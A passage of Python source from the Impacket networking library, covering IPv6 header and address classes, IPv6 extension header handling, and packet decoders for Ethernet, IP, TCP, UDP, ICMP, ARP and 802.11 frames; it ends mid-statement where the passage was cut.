self.load_header(buffer) def contains(self, aHeader): Header.contains(self, aHeader) if isinstance(aHeader, IP6_Extension_Header): self.set_next_header(aHeader.get_header_type()) def get_header_size(self): return IP6.HEADER_SIZE def __str__(self): protocol_version = self.get_ip_v() traffic_class = self.get_traffic_class() flow_label = self.get_flow_label() payload_length = self.get_payload_length() next_header = self.get_next_header() hop_limit = self.get_hop_limit() source_address = self.get_ip_src() destination_address = self.get_ip_dst() s = "Protocol version: " + str(protocol_version) + "\n" s += "Traffic class: " + str(traffic_class) + "\n" s += "Flow label: " + str(flow_label) + "\n" s += "Payload length: " + str(payload_length) + "\n" s += "Next header: " + str(next_header) + "\n" s += "Hop limit: " + str(hop_limit) + "\n" s += "Source address: " + source_address.as_string() + "\n" s += "Destination address: " + destination_address.as_string() + "\n" return s def get_pseudo_header(self): source_address = self.get_ip_src().as_bytes() #FIXME - Handle Routing header special case destination_address = self.get_ip_dst().as_bytes() reserved_bytes = [ 0x00, 0x00, 0x00 ] upper_layer_packet_length = self.get_payload_length() upper_layer_protocol_number = self.get_next_header() next_header = self.child() while isinstance(next_header, IP6_Extension_Header): # The length used in the pseudo-header is the Payload Length from the IPv6 header, minus # the length of any extension headers present between the IPv6 header and the upper-layer header upper_layer_packet_length -= next_header.get_header_size() # If there are extension headers, fetch the correct upper-player protocol number by traversing the list upper_layer_protocol_number = next_header.get_next_header() next_header = next_header.child() pseudo_header = array.array('B') pseudo_header.extend(source_address) pseudo_header.extend(destination_address) array_frombytes(pseudo_header, struct.pack('!L', upper_layer_packet_length)) pseudo_header.fromlist(reserved_bytes) array_frombytes(pseudo_header, struct.pack('B', upper_layer_protocol_number)) return pseudo_header ############################################################################ def get_ip_v(self): return (self.get_byte(0) & 0xF0) >> 4 def get_traffic_class(self): return ((self.get_byte(0) & 0x0F) << 4) | ((self.get_byte(1) & 0xF0) >> 4) def get_flow_label(self): return (self.get_byte(1) & 0x0F) << 16 | (self.get_byte(2) << 8) | self.get_byte(3) def get_payload_length(self): return (self.get_byte(4) << 8) | self.get_byte(5) def get_next_header(self): return (self.get_byte(6)) def get_hop_limit(self): return (self.get_byte(7)) def get_ip_src(self): address = IP6_Address(self.get_bytes()[8:24]) return (address) def get_ip_dst(self): address = IP6_Address(self.get_bytes()[24:40]) return (address) ############################################################################ def set_ip_v(self, version): if (version != 6): raise Exception('set_ip_v - version != 6') #Fetch byte, clear high nibble b = self.get_byte(0) & 0x0F #Store version number in high nibble b |= (version << 4) #Store byte in buffer #This behaviour is repeated in the rest of the methods self.set_byte(0, b) def set_traffic_class(self, traffic_class): b0 = self.get_byte(0) & 0xF0 b1 = self.get_byte(1) & 0x0F b0 |= (traffic_class & 0xF0) >> 4 b1 |= (traffic_class & 0x0F) << 4 self.set_byte(0, b0) self.set_byte(1, b1) def set_flow_label(self, flow_label): b1 = self.get_byte(1) & 0xF0 b1 |= (flow_label & 0xF0000) >> 16 self.set_byte(1, b1) self.set_byte(2, (flow_label & 0x0FF00) >> 8) self.set_byte(3, (flow_label & 0x000FF)) def set_payload_length(self, payload_length): self.set_byte(4, (payload_length & 0xFF00) >> 8) self.set_byte(5, (payload_length & 0x00FF)) def set_next_header(self, next_header): self.set_byte(6, next_header) def set_hop_limit(self, hop_limit): self.set_byte(7, hop_limit) def set_ip_src(self, source_address): address = IP6_Address(source_address) bytes = self.get_bytes() bytes[8:24] = address.as_bytes() self.set_bytes(bytes) def set_ip_dst(self, destination_address): address = IP6_Address(destination_address) bytes = self.get_bytes() bytes[24:40] = address.as_bytes() self.set_bytes(bytes) def get_protocol_version(self): LOG.warning('deprecated soon') return self.get_ip_v() def get_source_address(self): LOG.warning('deprecated soon') return self.get_ip_src() def get_destination_address(self): LOG.warning('deprecated soon') return self.get_ip_dst() def set_protocol_version(self, version): LOG.warning('deprecated soon') self.set_ip_v(version) def set_source_address(self, source_address): LOG.warning('deprecated soon') self.set_ip_src(source_address) def set_destination_address(self, destination_address): LOG.warning('deprecated soon') self.set_ip_dst(destination_address) impacket-impacket_0_11_0/impacket/IP6_Address.py000066400000000000000000000230441446174712300216330ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # import array from six import string_types class IP6_Address: ADDRESS_BYTE_SIZE = 16 #A Hex Group is a 16-bit unit of the address TOTAL_HEX_GROUPS = 8 HEX_GROUP_SIZE = 4 #Size in characters TOTAL_SEPARATORS = TOTAL_HEX_GROUPS - 1 ADDRESS_TEXT_SIZE = (TOTAL_HEX_GROUPS * HEX_GROUP_SIZE) + TOTAL_SEPARATORS SEPARATOR = ":" SCOPE_SEPARATOR = "%" ############################################################################################################# # Constructor and construction helpers def __init__(self, address): #The internal representation of an IP6 address is a 16-byte array self.__bytes = array.array('B', b'\0' * self.ADDRESS_BYTE_SIZE) self.__scope_id = "" #Invoke a constructor based on the type of the argument if isinstance(address, string_types): self.__from_string(address) else: self.__from_bytes(address) def __from_string(self, address): #Separate the Scope ID, if present if self.__is_a_scoped_address(address): split_parts = address.split(self.SCOPE_SEPARATOR) address = split_parts[0] if split_parts[1] == "": raise Exception("Empty scope ID") self.__scope_id = split_parts[1] #Expand address if it's in compressed form if self.__is_address_in_compressed_form(address): address = self.__expand_compressed_address(address) #Insert leading zeroes where needed address = self.__insert_leading_zeroes(address) #Sanity check if len(address) != self.ADDRESS_TEXT_SIZE: raise Exception('IP6_Address - from_string - address size != ' + str(self.ADDRESS_TEXT_SIZE)) #Split address into hex groups hex_groups = address.split(self.SEPARATOR) if len(hex_groups) != self.TOTAL_HEX_GROUPS: raise Exception('IP6_Address - parsed hex groups != ' + str(self.TOTAL_HEX_GROUPS)) #For each hex group, convert it into integer words offset = 0 for group in hex_groups: if len(group) != self.HEX_GROUP_SIZE: raise Exception('IP6_Address - parsed hex group length != ' + str(self.HEX_GROUP_SIZE)) group_as_int = int(group, 16) self.__bytes[offset] = (group_as_int & 0xFF00) >> 8 self.__bytes[offset + 1] = (group_as_int & 0x00FF) offset += 2 def __from_bytes(self, theBytes): if len(theBytes) != self.ADDRESS_BYTE_SIZE: raise Exception ("IP6_Address - from_bytes - array size != " + str(self.ADDRESS_BYTE_SIZE)) self.__bytes = theBytes ############################################################################################################# # Projectors def as_string(self, compress_address = True, scoped_address = True): s = "" for i, v in enumerate(self.__bytes): s += hex(v)[2:].rjust(2, '0') if i % 2 == 1: s += self.SEPARATOR s = s[:-1].upper() if compress_address: s = self.__trim_leading_zeroes(s) s = self.__trim_longest_zero_chain(s) if scoped_address and self.get_scope_id() != "": s += self.SCOPE_SEPARATOR + self.__scope_id return s def as_bytes(self): return self.__bytes def __str__(self): return self.as_string() def get_scope_id(self): return self.__scope_id def get_unscoped_address(self): return self.as_string(True, False) #Compressed address = True, Scoped address = False ############################################################################################################# # Semantic helpers def is_multicast(self): return self.__bytes[0] == 0xFF def is_unicast(self): return self.__bytes[0] == 0xFE def is_link_local_unicast(self): return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0x80) def is_site_local_unicast(self): return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0xC0) def is_unique_local_unicast(self): return self.__bytes[0] == 0xFD def get_human_readable_address_type(self): if self.is_multicast(): return "multicast" elif self.is_unicast(): if self.is_link_local_unicast(): return "link-local unicast" elif self.is_site_local_unicast(): return "site-local unicast" else: return "unicast" elif self.is_unique_local_unicast(): return "unique-local unicast" else: return "unknown type" ############################################################################################################# #Expansion helpers #Predicate - returns whether an address is in compressed form def __is_address_in_compressed_form(self, address): #Sanity check - triple colon detection (not detected by searches of double colon) if address.count(self.SEPARATOR * 3) > 0: raise Exception('IP6_Address - found triple colon') #Count the double colon marker compression_marker_count = self.__count_compression_marker(address) if compression_marker_count == 0: return False elif compression_marker_count == 1: return True else: raise Exception('IP6_Address - more than one compression marker (\"::\") found') #Returns how many hex groups are present, in a compressed address def __count_compressed_groups(self, address): trimmed_address = address.replace(self.SEPARATOR * 2, self.SEPARATOR) #Replace "::" with ":" return trimmed_address.count(self.SEPARATOR) + 1 #Counts how many compression markers are present def __count_compression_marker(self, address): return address.count(self.SEPARATOR * 2) #Count occurrences of "::" #Inserts leading zeroes in every hex group def __insert_leading_zeroes(self, address): hex_groups = address.split(self.SEPARATOR) new_address = "" for hex_group in hex_groups: if len(hex_group) < 4: hex_group = hex_group.rjust(4, "0") new_address += hex_group + self.SEPARATOR return new_address[:-1] #Trim the last colon #Expands a compressed address def __expand_compressed_address(self, address): group_count = self.__count_compressed_groups(address) groups_to_insert = self.TOTAL_HEX_GROUPS - group_count pos = address.find(self.SEPARATOR * 2) + 1 while groups_to_insert: address = address[:pos] + "0000" + self.SEPARATOR + address[pos:] pos += 5 groups_to_insert -= 1 #Replace the compression marker with a single colon address = address.replace(self.SEPARATOR * 2, self.SEPARATOR) return address ############################################################################################################# #Compression helpers def __trim_longest_zero_chain(self, address): chain_size = 8 while chain_size > 0: groups = address.split(self.SEPARATOR) for index, group in enumerate(groups): #Find the first zero if group == "0": start_index = index end_index = index #Find the end of this chain of zeroes while end_index < 7 and groups[end_index + 1] == "0": end_index += 1 #If the zero chain matches the current size, trim it found_size = end_index - start_index + 1 if found_size == chain_size: address = self.SEPARATOR.join(groups[0:start_index]) + self.SEPARATOR * 2 + self.SEPARATOR.join(groups[(end_index+1):]) return address #No chain of this size found, try with a lower size chain_size -= 1 return address #Trims all leading zeroes from every hex group def __trim_leading_zeroes(self, theStr): groups = theStr.split(self.SEPARATOR) theStr = "" for group in groups: group = group.lstrip("0") + self.SEPARATOR if group == self.SEPARATOR: group = "0" + self.SEPARATOR theStr += group return theStr[:-1] ############################################################################################################# @classmethod def is_a_valid_text_representation(cls, text_representation): try: #Capitalize on the constructor's ability to detect invalid text representations of an IP6 address IP6_Address(text_representation) return True except Exception: return False def __is_a_scoped_address(self, text_representation): return text_representation.count(self.SCOPE_SEPARATOR) == 1 impacket-impacket_0_11_0/impacket/IP6_Extension_Headers.py000066400000000000000000000253711446174712300236620ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # import array from impacket.ImpactPacket import Header, ImpactPacketException, PacketBuffer class IP6_Extension_Header(Header): # --------------------------------- - - - - - - - # | Next Header | Header Ext Len | Options # --------------------------------- - - - - - - - HEADER_TYPE_VALUE = -1 EXTENSION_HEADER_FIELDS_SIZE = 2 EXTENSION_HEADER_DECODER = None def __init__(self, buffer = None): Header.__init__(self, self.get_headers_field_size()) self._option_list = [] if buffer: self.load_header(buffer) else: self.reset() def __str__(self): header_type = self.get_header_type() next_header_value = self.get_next_header() header_ext_length = self.get_header_extension_length() s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n" s += "Header Type Value: " + str(header_type) + "\n" s += "Next Header: " + str(next_header_value) + "\n" s += "Header Extension Length: " + str(header_ext_length) + "\n" s += "Options:\n" for option in self._option_list: option_str = str(option) option_str = option_str.split('\n') option_str = [(' ' * 4) + s for s in option_str] s += '\n'.join(option_str) + '\n' return s def load_header(self, buffer): self.set_bytes_from_string(buffer[:self.get_headers_field_size()]) remaining_bytes = (self.get_header_extension_length() + 1) * 8 remaining_bytes -= self.get_headers_field_size() buffer = array.array('B', buffer[self.get_headers_field_size():]) if remaining_bytes > len(buffer): raise ImpactPacketException("Cannot load options from truncated packet") while remaining_bytes > 0: option_type = buffer[0] if option_type == Option_PAD1.OPTION_TYPE_VALUE: # Pad1 self._option_list.append(Option_PAD1()) remaining_bytes -= 1 buffer = buffer[1:] else: # PadN # From RFC 2460: For N octets of padding, the Opt Data Len # field contains the value N-2, and the Option Data consists # of N-2 zero-valued octets. option_length = buffer[1] option_length += 2 self._option_list.append(Option_PADN(option_length)) remaining_bytes -= option_length buffer = buffer[option_length:] def reset(self): pass @classmethod def get_header_type_value(cls): return cls.HEADER_TYPE_VALUE @classmethod def get_extension_headers(cls): header_types = {} for subclass in cls.__subclasses__(): subclass_header_types = subclass.get_extension_headers() if not subclass_header_types: # If the subclass did not return anything it means # that it is a leaf subclass, so we take its header # type value header_types[subclass.get_header_type_value()] = subclass else: # Else we extend the list of the obtained types header_types.update(subclass_header_types) return header_types @classmethod def get_decoder(cls): raise RuntimeError("Class method %s.get_decoder must be overridden." % cls) def get_header_type(self): return self.__class__.get_header_type_value() def get_headers_field_size(self): return IP6_Extension_Header.EXTENSION_HEADER_FIELDS_SIZE def get_header_size(self): header_size = self.get_headers_field_size() for option in self._option_list: header_size += option.get_len() return header_size def get_next_header(self): return self.get_byte(0) def get_header_extension_length(self): return self.get_byte(1) def set_next_header(self, next_header): self.set_byte(0, next_header & 0xFF) def set_header_extension_length(self, header_extension_length): self.set_byte(1, header_extension_length & 0xFF) def add_option(self, option): self._option_list.append(option) def get_options(self): return self._option_list def get_packet(self): data = self.get_data_as_string() # Update the header length self.set_header_extension_length(self.get_header_size() // 8 - 1) # Build the entire extension header packet header_bytes = self.get_buffer_as_string() for option in self._option_list: header_bytes += option.get_buffer_as_string() if data: return header_bytes + data else: return header_bytes def contains(self, aHeader): Header.contains(self, aHeader) if isinstance(aHeader, IP6_Extension_Header): self.set_next_header(aHeader.get_header_type()) def get_pseudo_header(self): # The pseudo-header only contains data from the IPv6 header. # So we pass the message to the parent until it reaches it. return self.parent().get_pseudo_header() class Extension_Option(PacketBuffer): MAX_OPTION_LEN = 256 OPTION_TYPE_VALUE = -1 def __init__(self, option_type, size): if size > Extension_Option.MAX_OPTION_LEN: raise ImpactPacketException("Option size of % is greater than the maximum of %d" % (size, Extension_Option.MAX_OPTION_LEN)) PacketBuffer.__init__(self, size) self.set_option_type(option_type) def __str__(self): option_type = self.get_option_type() option_length = self.get_option_length() s = "Option Name: " + str(self.__class__.OPTION_DESCRIPTION) + "\n" s += "Option Type: " + str(option_type) + "\n" s += "Option Length: " + str(option_length) + "\n" return s def set_option_type(self, option_type): self.set_byte(0, option_type) def get_option_type(self): return self.get_byte(0) def set_option_length(self, length): self.set_byte(1, length) def get_option_length(self): return self.get_byte(1) def set_data(self, data): self.set_option_length(len(data)) option_bytes = self.get_bytes() option_bytes = self.get_bytes() option_bytes[2:2+len(data)] = array.array('B', data) self.set_bytes(option_bytes) def get_len(self): return len(self.get_bytes()) class Option_PAD1(Extension_Option): OPTION_TYPE_VALUE = 0x00 # Pad1 (RFC 2460) OPTION_DESCRIPTION = "Pad1 Option" def __init__(self): Extension_Option.__init__(self, Option_PAD1.OPTION_TYPE_VALUE, 1) def get_len(self): return 1 class Option_PADN(Extension_Option): OPTION_TYPE_VALUE = 0x01 # Pad1 (RFC 2460) OPTION_DESCRIPTION = "PadN Option" def __init__(self, padding_size): if padding_size < 2: raise ImpactPacketException("PadN Extension Option must be greater than 2 bytes") Extension_Option.__init__(self, Option_PADN.OPTION_TYPE_VALUE, padding_size) self.set_data(b'\x00' * (padding_size - 2)) class Basic_Extension_Header(IP6_Extension_Header): MAX_OPTIONS_LEN = 256 * 8 MIN_HEADER_LEN = 8 MAX_HEADER_LEN = MIN_HEADER_LEN + MAX_OPTIONS_LEN def __init__(self, buffer = None): self.padded = False IP6_Extension_Header.__init__(self, buffer) def reset(self): self.set_next_header(0) self.set_header_extension_length(0) self.add_padding() def add_option(self, option): if self.padded: self._option_list.pop() self.padded = False IP6_Extension_Header.add_option(self, option) self.add_padding() def add_padding(self): required_octets = 8 - (self.get_header_size() % 8) if self.get_header_size() + required_octets > Basic_Extension_Header.MAX_HEADER_LEN: raise Exception("Not enough space for the padding") # Insert Pad1 or PadN to fill the necessary octets if 0 < required_octets < 8: if required_octets == 1: self.add_option(Option_PAD1()) else: self.add_option(Option_PADN(required_octets)) self.padded = True else: self.padded = False class Hop_By_Hop(Basic_Extension_Header): HEADER_TYPE_VALUE = 0x00 HEADER_EXTENSION_DESCRIPTION = "Hop By Hop Options" @classmethod def get_decoder(self): from impacket import ImpactDecoder return ImpactDecoder.HopByHopDecoder class Destination_Options(Basic_Extension_Header): HEADER_TYPE_VALUE = 0x3c HEADER_EXTENSION_DESCRIPTION = "Destination Options" @classmethod def get_decoder(self): from impacket import ImpactDecoder return ImpactDecoder.DestinationOptionsDecoder class Routing_Options(IP6_Extension_Header): HEADER_TYPE_VALUE = 0x2b HEADER_EXTENSION_DESCRIPTION = "Routing Options" ROUTING_OPTIONS_HEADER_FIELDS_SIZE = 8 def reset(self): self.set_next_header(0) self.set_header_extension_length(0) self.set_routing_type(0) self.set_segments_left(0) def __str__(self): header_type = self.get_header_type() next_header_value = self.get_next_header() header_ext_length = self.get_header_extension_length() routing_type = self.get_routing_type() segments_left = self.get_segments_left() s = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n" s += "Header Type Value: " + str(header_type) + "\n" s += "Next Header: " + str(next_header_value) + "\n" s += "Header Extension Length: " + str(header_ext_length) + "\n" s += "Routing Type: " + str(routing_type) + "\n" s += "Segments Left: " + str(segments_left) + "\n" return s @classmethod def get_decoder(self): from . import ImpactDecoder return ImpactDecoder.RoutingOptionsDecoder def get_headers_field_size(self): return Routing_Options.ROUTING_OPTIONS_HEADER_FIELDS_SIZE def set_routing_type(self, routing_type): self.set_byte(2, routing_type) def get_routing_type(self): return self.get_byte(2) def set_segments_left(self, segments_left): self.set_byte(3, segments_left) def get_segments_left(self): return self.get_byte(3) impacket-impacket_0_11_0/impacket/ImpactDecoder.py000066400000000000000000001011041446174712300222650ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Convenience packet unpackers for various network protocols # implemented in the ImpactPacket module. # # Author: # Javier Burroni (javier) # Bruce Leidl (brl) # Aureliano Calvo # import array from impacket import ICMP6 from impacket import IP6 from impacket import IP6_Extension_Headers from impacket import ImpactPacket from impacket import LOG from impacket import dot11 from impacket import wps, eap, dhcp from impacket.cdp import CDP """Classes to convert from raw packets into a hierarchy of ImpactPacket derived objects. The protocol of the outermost layer must be known in advance, and the packet must be fed to the corresponding decoder. From there it will try to decode the raw data into a hierarchy of ImpactPacket derived objects; if a layer's protocol is unknown, all the remaining data will be wrapped into a ImpactPacket.Data object. """ class Decoder: __decoded_protocol = None def decode(self, aBuffer): pass def set_decoded_protocol(self, protocol): self.__decoded_protocol = protocol def get_protocol(self, aprotocol): protocol = self.__decoded_protocol while protocol: if protocol.__class__ == aprotocol: break protocol=protocol.child() return protocol def __str__(self): protocol = self.__decoded_protocol i=0 out='' while protocol: tabline=' '*i+'+-'+str(protocol.__class__) out+="%s"%tabline+'\n' protocol=protocol.child() i+=1 return out class EthDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): e = ImpactPacket.Ethernet(aBuffer) self.set_decoded_protocol( e ) off = e.get_header_size() if e.get_ether_type() == ImpactPacket.IP.ethertype: self.ip_decoder = IPDecoder() packet = self.ip_decoder.decode(aBuffer[off:]) elif e.get_ether_type() == IP6.IP6.ethertype: self.ip6_decoder = IP6Decoder() packet = self.ip6_decoder.decode(aBuffer[off:]) elif e.get_ether_type() == ImpactPacket.ARP.ethertype: self.arp_decoder = ARPDecoder() packet = self.arp_decoder.decode(aBuffer[off:]) elif e.get_ether_type() == eap.DOT1X_AUTHENTICATION: self.eapol_decoder = EAPOLDecoder() packet = self.eapol_decoder.decode(aBuffer[off:]) # LLC ? elif e.get_ether_type() < 1500: self.llc_decoder = LLCDecoder() packet = self.llc_decoder.decode(aBuffer[off:]) else: self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:]) e.contains(packet) return e # Linux "cooked" capture encapsulation. # Used, for instance, for packets returned by the "any" interface. class LinuxSLLDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): e = ImpactPacket.LinuxSLL(aBuffer) self.set_decoded_protocol( e ) off = 16 if e.get_ether_type() == ImpactPacket.IP.ethertype: self.ip_decoder = IPDecoder() packet = self.ip_decoder.decode(aBuffer[off:]) elif e.get_ether_type() == ImpactPacket.ARP.ethertype: self.arp_decoder = ARPDecoder() packet = self.arp_decoder.decode(aBuffer[off:]) elif e.get_ether_type() == eap.DOT1X_AUTHENTICATION: self.eapol_decoder = EAPOLDecoder() packet = self.eapol_decoder.decode(aBuffer[off:]) else: self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:]) e.contains(packet) return e class IPDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): i = ImpactPacket.IP(aBuffer) self.set_decoded_protocol ( i ) off = i.get_header_size() end = i.get_ip_len() # If ip_len == 0 we might be facing TCP segmentation offload, let's calculate the right len if end == 0: LOG.warning('IP len reported as 0, most probably because of TCP segmentation offload. Attempting to fix its size') i.set_ip_len(len(aBuffer)) end = i.get_ip_len() if i.get_ip_p() == ImpactPacket.UDP.protocol: self.udp_decoder = UDPDecoder() packet = self.udp_decoder.decode(aBuffer[off:end]) elif i.get_ip_p() == ImpactPacket.TCP.protocol: self.tcp_decoder = TCPDecoder() packet = self.tcp_decoder.decode(aBuffer[off:end]) elif i.get_ip_p() == ImpactPacket.ICMP.protocol: self.icmp_decoder = ICMPDecoder() packet = self.icmp_decoder.decode(aBuffer[off:end]) elif i.get_ip_p() == ImpactPacket.IGMP.protocol: self.igmp_decoder = IGMPDecoder() packet = self.igmp_decoder.decode(aBuffer[off:end]) else: self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:end]) i.contains(packet) return i class IP6MultiProtocolDecoder(Decoder): def __init__(self, a_protocol_id): self.protocol_id = a_protocol_id def decode(self, buffer): if self.protocol_id == ImpactPacket.UDP.protocol: self.udp_decoder = UDPDecoder() packet = self.udp_decoder.decode(buffer) elif self.protocol_id == ImpactPacket.TCP.protocol: self.tcp_decoder = TCPDecoder() packet = self.tcp_decoder.decode(buffer) elif self.protocol_id == ICMP6.ICMP6.protocol: self.icmp6_decoder = ICMP6Decoder() packet = self.icmp6_decoder.decode(buffer) else: # IPv6 Extension Headers lookup extension_headers = IP6_Extension_Headers.IP6_Extension_Header.get_extension_headers() if buffer and self.protocol_id in extension_headers: extension_header_decoder_class = extension_headers[self.protocol_id].get_decoder() self.extension_header_decoder = extension_header_decoder_class() packet = self.extension_header_decoder.decode(buffer) else: self.data_decoder = DataDecoder() packet = self.data_decoder.decode(buffer) return packet class IP6Decoder(Decoder): def __init__(self): pass def decode(self, buffer): ip6_packet = IP6.IP6(buffer) self.set_decoded_protocol(ip6_packet) start_pos = ip6_packet.get_header_size() end_pos = ip6_packet.get_payload_length() + start_pos contained_protocol = ip6_packet.get_next_header() multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) child_packet = multi_protocol_decoder.decode(buffer[start_pos:end_pos]) ip6_packet.contains(child_packet) return ip6_packet class HopByHopDecoder(Decoder): def __init__(self): pass def decode(self, buffer): hop_by_hop = IP6_Extension_Headers.Hop_By_Hop(buffer) self.set_decoded_protocol(hop_by_hop) start_pos = hop_by_hop.get_header_size() contained_protocol = hop_by_hop.get_next_header() multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) child_packet = multi_protocol_decoder.decode(buffer[start_pos:]) hop_by_hop.contains(child_packet) return hop_by_hop class DestinationOptionsDecoder(Decoder): def __init__(self): pass def decode(self, buffer): destination_options = IP6_Extension_Headers.Destination_Options(buffer) self.set_decoded_protocol(destination_options) start_pos = destination_options.get_header_size() contained_protocol = destination_options.get_next_header() multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) child_packet = multi_protocol_decoder.decode(buffer[start_pos:]) destination_options.contains(child_packet) return destination_options class RoutingOptionsDecoder(Decoder): def __init__(self): pass def decode(self, buffer): routing_options = IP6_Extension_Headers.Routing_Options(buffer) self.set_decoded_protocol(routing_options) start_pos = routing_options.get_header_size() contained_protocol = routing_options.get_next_header() multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol) child_packet = multi_protocol_decoder.decode(buffer[start_pos:]) routing_options.contains(child_packet) return routing_options class ICMP6Decoder(Decoder): def __init__(self): pass def decode(self, buffer): icmp6_packet = ICMP6.ICMP6(buffer) self.set_decoded_protocol(icmp6_packet) start_pos = icmp6_packet.get_header_size() self.data_decoder = DataDecoder() child_packet = self.data_decoder.decode(buffer[start_pos:]) icmp6_packet.contains(child_packet) return icmp6_packet class ARPDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): arp = ImpactPacket.ARP(aBuffer) self.set_decoded_protocol( arp ) off = arp.get_header_size() self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:]) arp.contains(packet) return arp class UDPDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): u = ImpactPacket.UDP(aBuffer) self.set_decoded_protocol( u ) off = u.get_header_size() self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:]) u.contains(packet) return u class TCPDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): t = ImpactPacket.TCP(aBuffer) self.set_decoded_protocol( t ) off = t.get_header_size() self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:]) t.contains(packet) return t class IGMPDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): ig = ImpactPacket.IGMP(aBuffer) off = ig.get_header_size() self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:]) ig.contains(packet) return ig class IPDecoderForICMP(Decoder): """This class was added to parse the IP header of ICMP unreachables packets If you use the "standard" IPDecoder, it might crash (see bug #4870) ImpactPacket.py because the TCP header inside the IP header is incomplete""" def __init__(self): pass def decode(self, aBuffer): i = ImpactPacket.IP(aBuffer) self.set_decoded_protocol( i ) off = i.get_header_size() if i.get_ip_p() == ImpactPacket.UDP.protocol: self.udp_decoder = UDPDecoder() packet = self.udp_decoder.decode(aBuffer[off:]) else: self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:]) i.contains(packet) return i class ICMPDecoder(Decoder): def __init__(self): pass def decode(self, aBuffer): ic = ImpactPacket.ICMP(aBuffer) self.set_decoded_protocol( ic ) off = ic.get_header_size() if ic.get_icmp_type() == ImpactPacket.ICMP.ICMP_UNREACH: self.ip_decoder = IPDecoderForICMP() packet = self.ip_decoder.decode(aBuffer[off:]) else: self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:]) ic.contains(packet) return ic class DataDecoder(Decoder): def decode(self, aBuffer): d = ImpactPacket.Data(aBuffer) self.set_decoded_protocol( d ) return d class BaseDot11Decoder(Decoder): def __init__(self, key_manager=None): self.set_key_manager(key_manager) def set_key_manager(self, key_manager): self.key_manager = key_manager def find_key(self, bssid): try: key = self.key_manager.get_key(bssid) except: return False return key class RadioTapDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) def decode(self, aBuffer): rt = dot11.RadioTap(aBuffer) self.set_decoded_protocol( rt ) self.do11_decoder = Dot11Decoder() self.do11_decoder.set_key_manager(self.key_manager) flags=rt.get_flags() if flags is not None: fcs=flags&dot11.RadioTap.RTF_FLAGS.PROPERTY_FCS_AT_END self.do11_decoder.FCS_at_end(fcs) packet = self.do11_decoder.decode(rt.get_body_as_string()) rt.contains(packet) return rt class Dot11Decoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) self.__FCS_at_end = True def FCS_at_end(self, fcs_at_end=True): self.__FCS_at_end=not not fcs_at_end def decode(self, aBuffer): d = dot11.Dot11(aBuffer, self.__FCS_at_end) self.set_decoded_protocol( d ) type = d.get_type() if type == dot11.Dot11Types.DOT11_TYPE_CONTROL: dot11_control_decoder = Dot11ControlDecoder() packet = dot11_control_decoder.decode(d.body_string) elif type == dot11.Dot11Types.DOT11_TYPE_DATA: dot11_data_decoder = Dot11DataDecoder(self.key_manager) dot11_data_decoder.set_dot11_hdr(d) packet = dot11_data_decoder.decode(d.body_string) elif type == dot11.Dot11Types.DOT11_TYPE_MANAGEMENT: dot11_management_decoder = Dot11ManagementDecoder() dot11_management_decoder.set_subtype(d.get_subtype()) packet = dot11_management_decoder.decode(d.body_string) else: data_decoder = DataDecoder() packet = data_decoder.decode(d.body_string) d.contains(packet) return d class Dot11ControlDecoder(BaseDot11Decoder): def __init__(self): BaseDot11Decoder.__init__(self) self.__FCS_at_end = True def FCS_at_end(self, fcs_at_end=True): self.__FCS_at_end=not not fcs_at_end def decode(self, aBuffer): d = dot11.Dot11(aBuffer, self.__FCS_at_end) self.set_decoded_protocol(d) self.subtype = d.get_subtype() if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND: self.ctrl_cts_decoder = Dot11ControlFrameCTSDecoder() packet = self.ctrl_cts_decoder.decode(d.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT: self.ctrl_ack_decoder = Dot11ControlFrameACKDecoder() packet = self.ctrl_ack_decoder.decode(d.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND: self.ctrl_rts_decoder = Dot11ControlFrameRTSDecoder() packet = self.ctrl_rts_decoder.decode(d.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL: self.ctrl_pspoll_decoder = Dot11ControlFramePSPollDecoder() packet = self.ctrl_pspoll_decoder.decode(d.body_string) elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END: self.ctrl_cfend_decoder = Dot11ControlFrameCFEndDecoder() packet = self.ctrl_cfend_decoder.decode(d.body_string) elif self.subtype is 